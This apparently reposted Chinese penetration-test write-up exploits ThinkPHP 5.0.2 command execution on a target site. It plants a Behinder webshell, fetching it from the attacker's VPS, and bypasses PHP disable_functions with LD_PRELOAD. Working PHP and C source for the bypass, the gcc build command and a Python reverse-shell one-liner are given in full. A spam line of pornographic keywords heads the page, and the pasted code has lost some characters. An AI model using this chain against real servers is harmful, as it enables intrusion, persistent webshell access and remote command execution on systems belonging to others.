真实的国产乱ⅩXXX66竹夫人,五月香六月婷婷激情综合,亚洲日本VA一区二区三区,亚洲精品一区二区三区麻豆

成都創(chuàng)新互聯(lián)網(wǎng)站制作重慶分公司

如何解決ThinkPHP引發(fā)的bypass_disable_functions

本篇文章給大家分享的是有關(guān)如何解決ThinkPHP引發(fā)的bypass_disable_functions,小編覺(jué)得挺實(shí)用的,因此分享給大家學(xué)習(xí),希望大家閱讀完這篇文章后可以有所收獲,話(huà)不多說(shuō),跟著小編一起來(lái)看看吧。

創(chuàng)新互聯(lián)建站-云計(jì)算及IDC服務(wù)提供商,涵蓋公有云、IDC機(jī)房租用、服務(wù)器主機(jī)托管、等保安全、私有云建設(shè)等企業(yè)級(jí)互聯(lián)網(wǎng)基礎(chǔ)服務(wù),服務(wù)電話(huà):13518219792

一次授權(quán)測(cè)試中,發(fā)現(xiàn)網(wǎng)站是ThinkPHP 5.0.2搭建的

如何解決ThinkPHP引發(fā)的bypass_disable_functions

漏洞存在ThinkPHP 5.0.2 命令執(zhí)行

如何解決ThinkPHP引發(fā)的bypass_disable_functions

嘗試寫(xiě)入冰蝎3.0的馬

如何解決ThinkPHP引發(fā)的bypass_disable_functions

汰,寫(xiě)入報(bào)錯(cuò)發(fā)現(xiàn)是&的問(wèn)題。將&url編碼。再次嘗試

如何解決ThinkPHP引發(fā)的bypass_disable_functions

鏈接失敗。

經(jīng)過(guò)本地嘗試,發(fā)現(xiàn)是+的問(wèn)題,再寫(xiě)入后,將+變?yōu)榱丝崭?。將其url編碼,再次寫(xiě)入

鏈接發(fā)現(xiàn)失敗,繼續(xù)肝。

如何解決ThinkPHP引發(fā)的bypass_disable_functions

除了寫(xiě)入,還可以使用PHP中的copy函數(shù),在vps上開(kāi)啟服務(wù),將vps的馬子,直接下載至目標(biāo)服務(wù)器

如何解決ThinkPHP引發(fā)的bypass_disable_functions

鏈接成功,接下來(lái)肯定是whoami一下。

如何解決ThinkPHP引發(fā)的bypass_disable_functions

查看disable_functions,發(fā)現(xiàn)是可愛(ài)的寶塔禁用了passthru,exec,system,chroot,chgrp,chown,shell_exec,popen,proc_open,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru

還有啥是寶塔不能禁的。。。還能怎么辦,接著肝,在網(wǎng)上學(xué)習(xí)了大佬的帖子

https://www.meetsec.cn/index.php/archives/44/

嘗試?yán)肔D_PRELOAD繞過(guò)disable_functions

直接上代碼

bypass_disablefunc.php

echo "

example: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so

";

$cmd = $_GET["cmd"];

$out_path = $_GET["outpath"];

$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";

echo "

cmdline: " . $evil_cmdline . "

";

putenv("EVIL_CMDLINE=" . $evil_cmdline);

$so_path = $_GET["sopath"];

putenv("LD_PRELOAD=" . $so_path);

mail("", "", "", "");

echo "

output:
" . nl2br(file_get_contents($out_path)) . "

";

unlink($out_path);

?>

bypass_disablefunc.c

#define _GNU_SOURCE

#include stdlib.h

#include stdio.h

#include string.h

extern char environ;

__attribute__ ((__constructor__)) void preload (void)

{

get command line options and arg

const char cmdline = getenv(EVIL_CMDLINE);

unset environment variable LD_PRELOAD.

unsetenv(LD_PRELOAD) no effect on some

distribution (e.g., centos), I need crafty trick.

int i;

for (i = 0; environ[i]; ++i) {

if (strstr(environ[i], LD_PRELOAD)) {

environ[i][0] = '0';

}

}

executive command

system(cmdline);

}

用命令 gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so 將 bypass_disablefunc.c 編譯為共享對(duì)象 bypass_disablefunc_x64.so:

要根據(jù)目標(biāo)架構(gòu)編譯成不同版本,在 x64 的環(huán)境中編譯,若不帶編譯選項(xiàng)則默認(rèn)為 x64,若要編譯成 x86 架構(gòu)需要加上 -m32 選項(xiàng)。

通過(guò)冰蝎上傳,然后測(cè)試效果:

如何解決ThinkPHP引發(fā)的bypass_disable_functions

命令執(zhí)行成功。Nc反彈shell

如何解決ThinkPHP引發(fā)的bypass_disable_functions

提示沒(méi)有-e的參數(shù),直接使用python反彈

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

如何解決ThinkPHP引發(fā)的bypass_disable_functions

反彈成功

總結(jié):這次的測(cè)試,寫(xiě)入冰蝎的過(guò)程要注意編碼問(wèn)題。然后就是利用LD_PRELOAD繞過(guò)disable_functions。

以上就是如何解決ThinkPHP引發(fā)的bypass_disable_functions,小編相信有部分知識(shí)點(diǎn)可能是我們?nèi)粘9ぷ鲿?huì)見(jiàn)到或用到的。希望你能通過(guò)這篇文章學(xué)到更多知識(shí)。更多詳情敬請(qǐng)關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道。


文章名稱(chēng):如何解決ThinkPHP引發(fā)的bypass_disable_functions
鏈接地址:http://weahome.cn/article/jpddhe.html

其他資訊

在線(xiàn)咨詢(xún)

微信咨詢(xún)

電話(huà)咨詢(xún)

028-86922220(工作日)

18980820575(7×24)

提交需求

返回頂部